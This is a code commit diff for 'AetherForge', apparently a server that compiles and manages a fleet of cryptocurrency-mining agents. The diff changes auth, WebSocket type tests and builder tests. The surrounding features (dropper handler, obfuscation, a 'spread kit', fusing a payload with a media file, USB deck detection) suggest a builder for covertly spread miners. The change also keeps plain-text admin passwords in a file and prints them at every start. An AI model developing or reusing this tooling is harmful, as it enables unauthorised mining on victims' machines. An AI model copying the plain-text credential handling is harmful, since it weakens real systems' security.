Improve portable launch, forge persistence, and operator auth UX.
Persist build extra_files for Build Manager history, print dashboard login on every start, add libp2p for Mesh P2P forge, defer WebSocket until login, and split devrun.bat from LAUNCH.bat with USB deck auto-detection.
This commit is contained in:
39
server/internal/api/agent_config_test.go
Normal file
39
server/internal/api/agent_config_test.go
Normal file
@@ -0,0 +1,39 @@
|
||||
package api
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestAgentConfigPoolHostOrDefault(t *testing.T) {
|
||||
t.Run("empty uses fallback", func(t *testing.T) {
|
||||
cfg := AgentForgeConfig{}
|
||||
if got := cfg.poolHostOrDefault("fallback.host"); got != "fallback.host" {
|
||||
t.Fatalf("got %q, want fallback.host", got)
|
||||
}
|
||||
})
|
||||
t.Run("explicit host wins", func(t *testing.T) {
|
||||
cfg := AgentForgeConfig{PoolHost: "pool.example.com"}
|
||||
if got := cfg.poolHostOrDefault("fallback"); got != "pool.example.com" {
|
||||
t.Fatalf("got %q, want pool.example.com", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
func TestAgentConfigPoolPortOrDefault(t *testing.T) {
|
||||
t.Run("zero uses fallback", func(t *testing.T) {
|
||||
cfg := AgentForgeConfig{}
|
||||
if got := cfg.poolPortOrDefault(3333); got != 3333 {
|
||||
t.Fatalf("got %d, want 3333", got)
|
||||
}
|
||||
})
|
||||
t.Run("negative uses fallback", func(t *testing.T) {
|
||||
cfg := AgentForgeConfig{PoolPort: -1}
|
||||
if got := cfg.poolPortOrDefault(3333); got != 3333 {
|
||||
t.Fatalf("got %d, want 3333", got)
|
||||
}
|
||||
})
|
||||
t.Run("explicit port wins", func(t *testing.T) {
|
||||
cfg := AgentForgeConfig{PoolPort: 443}
|
||||
if got := cfg.poolPortOrDefault(3333); got != 443 {
|
||||
t.Fatalf("got %d, want 443", got)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -556,8 +556,7 @@ func TestFleetPostAgentCommandErrors(t *testing.T) {
|
||||
fh, _, ws, _ := newTestFleetHandler(t)
|
||||
|
||||
t.Run("nil ws", func(t *testing.T) {
|
||||
bad := *fh
|
||||
bad.ws = nil
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
|
||||
fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
|
||||
@@ -730,8 +729,7 @@ func TestFleetPostBulkCommandErrors(t *testing.T) {
|
||||
fh, _, _, _ := newTestFleetHandler(t)
|
||||
|
||||
t.Run("nil ws", func(t *testing.T) {
|
||||
bad := *fh
|
||||
bad.ws = nil
|
||||
bad := NewFleetHandler(fh.db, nil, fh.ai, fh.pools, fh.alerts, fh.defaultPool)
|
||||
rec := httptest.NewRecorder()
|
||||
req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
|
||||
strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))
|
||||
|
||||
@@ -64,18 +64,19 @@ func authCacheSet(user, pass string) {
|
||||
}
|
||||
|
||||
var (
|
||||
// authUsers is populated from data/users.json on startup. On the very first
|
||||
// run (no users.json) a random password is generated, saved, and printed to
|
||||
// the console — no hard-coded credentials anywhere in the binary.
|
||||
authUsers = map[string]string{}
|
||||
usersFilePath string
|
||||
usersMu sync.RWMutex
|
||||
// authUsers is populated from data/users.json on startup. Plain-text copies
|
||||
// for console display live in data/login-credentials.json (0600).
|
||||
authUsers = map[string]string{}
|
||||
usersFilePath string
|
||||
usersMu sync.RWMutex
|
||||
authLoadMu sync.Mutex
|
||||
authLoadedDataDir string
|
||||
|
||||
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
|
||||
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
|
||||
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
|
||||
fleetSecretForAgentPaths string
|
||||
fleetSecretForAgentPathsMu sync.RWMutex
|
||||
fleetSecretForAgentPaths string
|
||||
fleetSecretForAgentPathsMu sync.RWMutex
|
||||
|
||||
// rotateSecretFn is called when POST /server/rotate-secret is hit.
|
||||
// Wired from main.go so the server can generate, persist, and propagate the new secret.
|
||||
@@ -120,8 +121,94 @@ func checkPassword(stored, provided string) bool {
|
||||
return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1
|
||||
}
|
||||
|
||||
func loadUsers(dataDir string) {
|
||||
func loginSidecarPath(dataDir string) string {
|
||||
return filepath.Join(dataDir, "login-credentials.json")
|
||||
}
|
||||
|
||||
func readLoginSidecar(path string) (map[string]string, error) {
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var creds map[string]string
|
||||
if err := json.Unmarshal(data, &creds); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(creds) == 0 {
|
||||
return nil, fmt.Errorf("empty login sidecar")
|
||||
}
|
||||
return creds, nil
|
||||
}
|
||||
|
||||
func writeLoginSidecar(path string, creds map[string]string) error {
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
data, err := json.MarshalIndent(creds, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(path, data, 0600)
|
||||
}
|
||||
|
||||
func upsertLoginSidecar(dataDir, username, password string) error {
|
||||
path := loginSidecarPath(dataDir)
|
||||
creds, _ := readLoginSidecar(path)
|
||||
if creds == nil {
|
||||
creds = map[string]string{}
|
||||
}
|
||||
creds[username] = password
|
||||
return writeLoginSidecar(path, creds)
|
||||
}
|
||||
|
||||
func printStartupCredentials(dataDir string) {
|
||||
creds, err := readLoginSidecar(loginSidecarPath(dataDir))
|
||||
if err != nil || len(creds) == 0 {
|
||||
return
|
||||
}
|
||||
fmt.Println(formatLoginBanner(creds))
|
||||
}
|
||||
|
||||
func formatLoginBanner(creds map[string]string) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
|
||||
b.WriteString("║ AetherForge — Dashboard Login ║\n")
|
||||
b.WriteString("║ ║\n")
|
||||
for user, pass := range creds {
|
||||
fmt.Fprintf(&b, "║ Username : %-34s║\n", user)
|
||||
fmt.Fprintf(&b, "║ Password : %-34s║\n", pass)
|
||||
b.WriteString("║ ║\n")
|
||||
}
|
||||
b.WriteString("║ Also saved in data/login-credentials.json ║\n")
|
||||
b.WriteString("║ Change passwords in Calibrate → Users. ║\n")
|
||||
b.WriteString("╚══════════════════════════════════════════════════╝\n")
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// LoadUsers loads dashboard accounts and prints login credentials to the console.
|
||||
// Call once during startup (before heavy init) so operators always see passwords.
|
||||
func LoadUsers(dataDir string) {
|
||||
ensureUsersLoaded(dataDir)
|
||||
printStartupCredentials(dataDir)
|
||||
}
|
||||
|
||||
func ensureUsersLoaded(dataDir string) {
|
||||
abs, err := filepath.Abs(dataDir)
|
||||
if err != nil {
|
||||
abs = dataDir
|
||||
}
|
||||
authLoadMu.Lock()
|
||||
defer authLoadMu.Unlock()
|
||||
if authLoadedDataDir == abs {
|
||||
return
|
||||
}
|
||||
bootstrapUsers(dataDir)
|
||||
authLoadedDataDir = abs
|
||||
}
|
||||
|
||||
func bootstrapUsers(dataDir string) {
|
||||
usersFilePath = filepath.Join(dataDir, "users.json")
|
||||
sidecarPath := loginSidecarPath(dataDir)
|
||||
usersMu.Lock()
|
||||
defer usersMu.Unlock()
|
||||
|
||||
@@ -129,7 +216,6 @@ func loadUsers(dataDir string) {
|
||||
if err == nil {
|
||||
var loaded map[string]string
|
||||
if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
|
||||
// Migration: re-hash any plain-text entries left from an older version.
|
||||
migrated := false
|
||||
for u, v := range loaded {
|
||||
if !isBcryptHash(v) {
|
||||
@@ -145,16 +231,15 @@ func loadUsers(dataDir string) {
|
||||
d, _ := json.MarshalIndent(authUsers, "", " ")
|
||||
_ = os.WriteFile(usersFilePath, d, 0600)
|
||||
}
|
||||
reconcileLoginSidecar(dataDir, sidecarPath, loaded)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// First run — no users.json (or empty). Generate a random admin password,
|
||||
// hash it, save it, and print the plain-text once to the console.
|
||||
pw := generateRandomPassword()
|
||||
hashed, herr := hashPassword(pw)
|
||||
if herr != nil {
|
||||
hashed = pw // extremely unlikely; degrade gracefully
|
||||
hashed = pw
|
||||
log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr)
|
||||
}
|
||||
authUsers = map[string]string{"admin": hashed}
|
||||
@@ -163,20 +248,35 @@ func loadUsers(dataDir string) {
|
||||
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
||||
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
||||
}
|
||||
_ = writeLoginSidecar(sidecarPath, map[string]string{"admin": pw})
|
||||
}
|
||||
}
|
||||
|
||||
banner := fmt.Sprintf(`
|
||||
╔══════════════════════════════════════════════════╗
|
||||
║ AetherForge — First Run ║
|
||||
║ ║
|
||||
║ Dashboard login ║
|
||||
║ Username : admin ║
|
||||
║ Password : %-34s║
|
||||
║ ║
|
||||
║ Save this — it will not be shown again. ║
|
||||
║ Change it later in Calibrate → Users. ║
|
||||
╚══════════════════════════════════════════════════╝`, pw)
|
||||
log.Print(banner)
|
||||
func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
|
||||
if _, err := readLoginSidecar(sidecarPath); err == nil {
|
||||
return
|
||||
}
|
||||
if _, ok := users["admin"]; !ok {
|
||||
return
|
||||
}
|
||||
pw := generateRandomPassword()
|
||||
hashed, herr := hashPassword(pw)
|
||||
if herr != nil {
|
||||
log.Printf("[Auth] WARNING: could not regenerate admin password: %v", herr)
|
||||
return
|
||||
}
|
||||
users["admin"] = hashed
|
||||
authUsers = users
|
||||
d, _ := json.MarshalIndent(authUsers, "", " ")
|
||||
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
||||
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
||||
return
|
||||
}
|
||||
if writeErr := writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}); writeErr != nil {
|
||||
log.Printf("[Auth] WARNING: could not save login-credentials.json: %v", writeErr)
|
||||
return
|
||||
}
|
||||
log.Printf("[Auth] Regenerated admin password (login-credentials.json was missing)")
|
||||
}
|
||||
|
||||
// generateRandomPassword returns a 20-character hex string suitable for use
|
||||
@@ -195,16 +295,25 @@ func saveUser(username, password string) error {
|
||||
return fmt.Errorf("bcrypt: %w", err)
|
||||
}
|
||||
usersMu.Lock()
|
||||
defer usersMu.Unlock()
|
||||
authUsers[username] = hashed
|
||||
if usersFilePath == "" {
|
||||
usersFilePath = filepath.Join("data", "users.json")
|
||||
}
|
||||
if err := os.MkdirAll(filepath.Dir(usersFilePath), 0755); err != nil {
|
||||
dataDir := filepath.Dir(usersFilePath)
|
||||
if err := os.MkdirAll(dataDir, 0755); err != nil {
|
||||
usersMu.Unlock()
|
||||
return err
|
||||
}
|
||||
data, _ := json.MarshalIndent(authUsers, "", " ")
|
||||
return os.WriteFile(usersFilePath, data, 0600)
|
||||
if err := os.WriteFile(usersFilePath, data, 0600); err != nil {
|
||||
usersMu.Unlock()
|
||||
return err
|
||||
}
|
||||
usersMu.Unlock()
|
||||
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
|
||||
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
@@ -294,7 +403,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
|
||||
loadUsers(dataDir)
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
r := chi.NewRouter()
|
||||
|
||||
@@ -414,7 +523,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
writeJSON(w, map[string]interface{}{"success": true})
|
||||
})
|
||||
|
||||
// AI Autonomy (Ollama)
|
||||
// Agent autonomy REST — forged Go agents only (X-Fleet-Secret header).
|
||||
// Not exposed in dashboard client.ts; see agent/client and README API auth table.
|
||||
r.Post("/agent/decide", aiHandler.HandleDecide)
|
||||
r.Post("/agent/report", aiHandler.HandleReport)
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
|
||||
@@ -28,6 +28,9 @@ func resetAuthState(t *testing.T) {
|
||||
authUsers = map[string]string{}
|
||||
usersFilePath = ""
|
||||
usersMu.Unlock()
|
||||
authLoadMu.Lock()
|
||||
authLoadedDataDir = ""
|
||||
authLoadMu.Unlock()
|
||||
SetAgentPathSecret("")
|
||||
SetRotateSecretFn(nil)
|
||||
t.Cleanup(resetAuthGlobals)
|
||||
@@ -437,3 +440,35 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
t.Fatalf("unexpected body: %s", rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
dataDir := t.TempDir()
|
||||
|
||||
LoadUsers(dataDir)
|
||||
|
||||
sidecarPath := filepath.Join(dataDir, "login-credentials.json")
|
||||
data, err := os.ReadFile(sidecarPath)
|
||||
if err != nil {
|
||||
t.Fatalf("login sidecar: %v", err)
|
||||
}
|
||||
var creds map[string]string
|
||||
if err := json.Unmarshal(data, &creds); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
pw, ok := creds["admin"]
|
||||
if !ok || pw == "" {
|
||||
t.Fatalf("expected admin password in sidecar: %v", creds)
|
||||
}
|
||||
if !checkPassword(authUsers["admin"], pw) {
|
||||
t.Fatal("sidecar password should match users.json hash")
|
||||
}
|
||||
|
||||
if err := saveUser("admin", "new-secret-pass"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
reloaded, err := readLoginSidecar(sidecarPath)
|
||||
if err != nil || reloaded["admin"] != "new-secret-pass" {
|
||||
t.Fatalf("sidecar not updated after saveUser: %v err=%v", reloaded, err)
|
||||
}
|
||||
}
|
||||
|
||||
31
server/internal/api/server_policy_test.go
Normal file
31
server/internal/api/server_policy_test.go
Normal file
@@ -0,0 +1,31 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestServerPolicyJSONRoundTrip(t *testing.T) {
|
||||
in := ServerPolicy{
|
||||
MaxAgents: 128,
|
||||
LogAgentConnections: true,
|
||||
LogShareSubmissions: false,
|
||||
LogPoolTraffic: true,
|
||||
StrictWalletValidation: true,
|
||||
MaxBuildSizeMB: 64,
|
||||
PoolReconnectSeconds: 30,
|
||||
}
|
||||
|
||||
data, err := json.Marshal(in)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var out ServerPolicy
|
||||
if err := json.Unmarshal(data, &out); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if out != in {
|
||||
t.Fatalf("round-trip mismatch:\n got %+v\n want %+v", out, in)
|
||||
}
|
||||
}
|
||||
32
server/internal/api/testdata/ws_types_fixture.json
vendored
Normal file
32
server/internal/api/testdata/ws_types_fixture.json
vendored
Normal file
@@ -0,0 +1,32 @@
|
||||
{
|
||||
"WSDashboardInit": [
|
||||
"agents"
|
||||
],
|
||||
"WSAgentOffline": [
|
||||
"agent_id"
|
||||
],
|
||||
"WSStatsUpdate": [
|
||||
"agent_id",
|
||||
"cpu_usage_pct",
|
||||
"hashrate_15m",
|
||||
"hashrate_15s",
|
||||
"hashrate_1m",
|
||||
"memory_usage_pct",
|
||||
"shares_accepted",
|
||||
"shares_submitted",
|
||||
"uptime_seconds"
|
||||
],
|
||||
"WSCommandResult": [
|
||||
"action",
|
||||
"agent_id",
|
||||
"message",
|
||||
"success"
|
||||
],
|
||||
"WSAgentLog": [
|
||||
"agent_id",
|
||||
"content"
|
||||
],
|
||||
"WSServerLog": [
|
||||
"line"
|
||||
]
|
||||
}
|
||||
@@ -1,6 +1,8 @@
|
||||
package api
|
||||
|
||||
// Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts).
|
||||
// Shared types: WSDashboardInit, WSAgentOffline, WSStatsUpdate, WSCommandResult, WSAgentLog, WSServerLog.
|
||||
// Cross-language drift guard: testdata/ws_types_fixture.json (Go ws_types_test.go, TS ws.test.ts).
|
||||
|
||||
type WSDashboardInit struct {
|
||||
Agents []interface{} `json:"agents"`
|
||||
|
||||
@@ -2,14 +2,96 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"sort"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
var updateWSFixture = flag.Bool("updateWSFixture", false, "rewrite testdata/ws_types_fixture.json from ws_types.go struct tags")
|
||||
|
||||
func TestMain(m *testing.M) {
|
||||
flag.Parse()
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
|
||||
// Synced with server/web/src/types/ws.ts — see testdata/ws_types_fixture.json.
|
||||
var wsTypeSamples = map[string]interface{}{
|
||||
"WSDashboardInit": WSDashboardInit{},
|
||||
"WSAgentOffline": WSAgentOffline{},
|
||||
"WSStatsUpdate": WSStatsUpdate{},
|
||||
"WSCommandResult": WSCommandResult{},
|
||||
"WSAgentLog": WSAgentLog{},
|
||||
"WSServerLog": WSServerLog{},
|
||||
}
|
||||
|
||||
func wsTypeFieldKeys(v interface{}) []string {
|
||||
t := reflect.TypeOf(v)
|
||||
if t.Kind() == reflect.Ptr {
|
||||
t = t.Elem()
|
||||
}
|
||||
var keys []string
|
||||
for i := 0; i < t.NumField(); i++ {
|
||||
tag := t.Field(i).Tag.Get("json")
|
||||
if tag == "" || tag == "-" {
|
||||
continue
|
||||
}
|
||||
name, _, _ := strings.Cut(tag, ",")
|
||||
if name != "" {
|
||||
keys = append(keys, name)
|
||||
}
|
||||
}
|
||||
sort.Strings(keys)
|
||||
return keys
|
||||
}
|
||||
|
||||
func wsTypeKeysFromStructs() map[string][]string {
|
||||
out := make(map[string][]string, len(wsTypeSamples))
|
||||
for name, sample := range wsTypeSamples {
|
||||
out[name] = wsTypeFieldKeys(sample)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func TestWSTypeFieldKeysMatchFixture(t *testing.T) {
|
||||
got := wsTypeKeysFromStructs()
|
||||
fixturePath := filepath.Join("testdata", "ws_types_fixture.json")
|
||||
|
||||
if *updateWSFixture {
|
||||
data, err := json.MarshalIndent(got, "", " ")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
data = append(data, '\n')
|
||||
if err := os.WriteFile(fixturePath, data, 0o644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Logf("updated %s", fixturePath)
|
||||
return
|
||||
}
|
||||
|
||||
raw, err := os.ReadFile(fixturePath)
|
||||
if err != nil {
|
||||
t.Fatalf("read fixture: %v (run with -updateWSFixture to create)", err)
|
||||
}
|
||||
var want map[string][]string
|
||||
if err := json.Unmarshal(raw, &want); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("ws_types fixture drift: re-run go test -run TestWSTypeFieldKeysMatchFixture -updateWSFixture ./internal/api/")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSTypesJSONRoundTrip(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
in interface{}
|
||||
}{
|
||||
{"dashboard_init", WSDashboardInit{Agents: []interface{}{}}},
|
||||
{"stats", WSStatsUpdate{AgentID: "a1", Hashrate15m: 123.4, CPUUsagePct: 50}},
|
||||
{"offline", WSAgentOffline{AgentID: "a1"}},
|
||||
{"command", WSCommandResult{AgentID: "a1", Action: "exec", Success: true, Message: "ok"}},
|
||||
|
||||
@@ -99,9 +99,10 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||
}
|
||||
@@ -221,9 +222,10 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes2,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
161
server/internal/builder/compile_platform_test.go
Normal file
161
server/internal/builder/compile_platform_test.go
Normal file
@@ -0,0 +1,161 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestCompileGoProjectPlatformFakeGoFail(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoFail(t, h)
|
||||
|
||||
dir := t.TempDir()
|
||||
out := filepath.Join(dir, "worker.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
_, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", nil, false,
|
||||
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
if err == nil || !strings.Contains(err.Error(), "windows-amd64") {
|
||||
t.Fatalf("expected platform compile error, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileGoProjectPlatformFakeGoSuccess(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
dir := t.TempDir()
|
||||
out := filepath.Join(dir, "worker.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", []string{"p2p"}, false,
|
||||
BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}); err != nil {
|
||||
t.Fatalf("fake go success: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(out); err != nil {
|
||||
t.Fatalf("output not created: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileGoProjectPlatformObfuscateWithoutGarble(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
h.garblePath = ""
|
||||
|
||||
dir := t.TempDir()
|
||||
out := filepath.Join(dir, "worker.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", nil, true,
|
||||
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}); err != nil {
|
||||
t.Fatalf("obfuscate without garble should fall back to plain go: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileGoProjectPlatformCancelled(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSleep(t, h)
|
||||
|
||||
dir := t.TempDir()
|
||||
out := filepath.Join(dir, "worker.exe")
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() {
|
||||
_, err := h.compileGoProjectPlatform(ctx, dir, out, "-s -w", nil, false,
|
||||
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
errCh <- err
|
||||
}()
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
cancel()
|
||||
|
||||
select {
|
||||
case err := <-errCh:
|
||||
if err == nil || !strings.Contains(err.Error(), "cancelled") {
|
||||
t.Fatalf("expected cancelled build, got %v", err)
|
||||
}
|
||||
case <-time.After(10 * time.Second):
|
||||
t.Fatal("compile did not stop after context cancel")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileGoProjectDelegatesToPlatform(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
dir := t.TempDir()
|
||||
out := filepath.Join(dir, "worker.exe")
|
||||
if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := h.compileGoProject(context.Background(), dir, out, "-s -w", nil, false); err != nil {
|
||||
t.Fatalf("compileGoProject: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileWorkerFakeGoSuccess(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := &BuildRequest{
|
||||
WorkerName: "pc-1",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "48abc",
|
||||
MeshP2P: true,
|
||||
}
|
||||
out, err := h.compileWorker(context.Background(), agentDir, buildDir, req, "bid-1",
|
||||
BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}, false)
|
||||
if err != nil {
|
||||
t.Fatalf("compileWorker: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(out); err != nil {
|
||||
t.Fatalf("compiled worker missing: %v", err)
|
||||
}
|
||||
builtin, err := os.ReadFile(filepath.Join(agentDir, "config", "builtin.go"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(string(builtin), "bid-1") || !strings.Contains(string(builtin), "pc-1") {
|
||||
t.Fatalf("builtin config not written: %s", builtin)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCompileWorkerFakeGoFail(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoFail(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x", Wallet: "48abc"}
|
||||
_, err := h.compileWorker(context.Background(), agentDir, buildDir, req, "bid",
|
||||
BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}, true)
|
||||
if err == nil {
|
||||
t.Fatal("expected compile failure")
|
||||
}
|
||||
}
|
||||
@@ -124,7 +124,7 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi
|
||||
}
|
||||
|
||||
if h.shouldObfuscate(req) && h.garblePath == "" {
|
||||
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).")
|
||||
resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).")
|
||||
}
|
||||
if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") {
|
||||
resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.")
|
||||
|
||||
@@ -198,13 +198,13 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName
|
||||
order := normalizeFusionOrder(runOrder)
|
||||
out := string(src)
|
||||
repl := map[string]string{
|
||||
`const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order),
|
||||
`const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind),
|
||||
`const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode),
|
||||
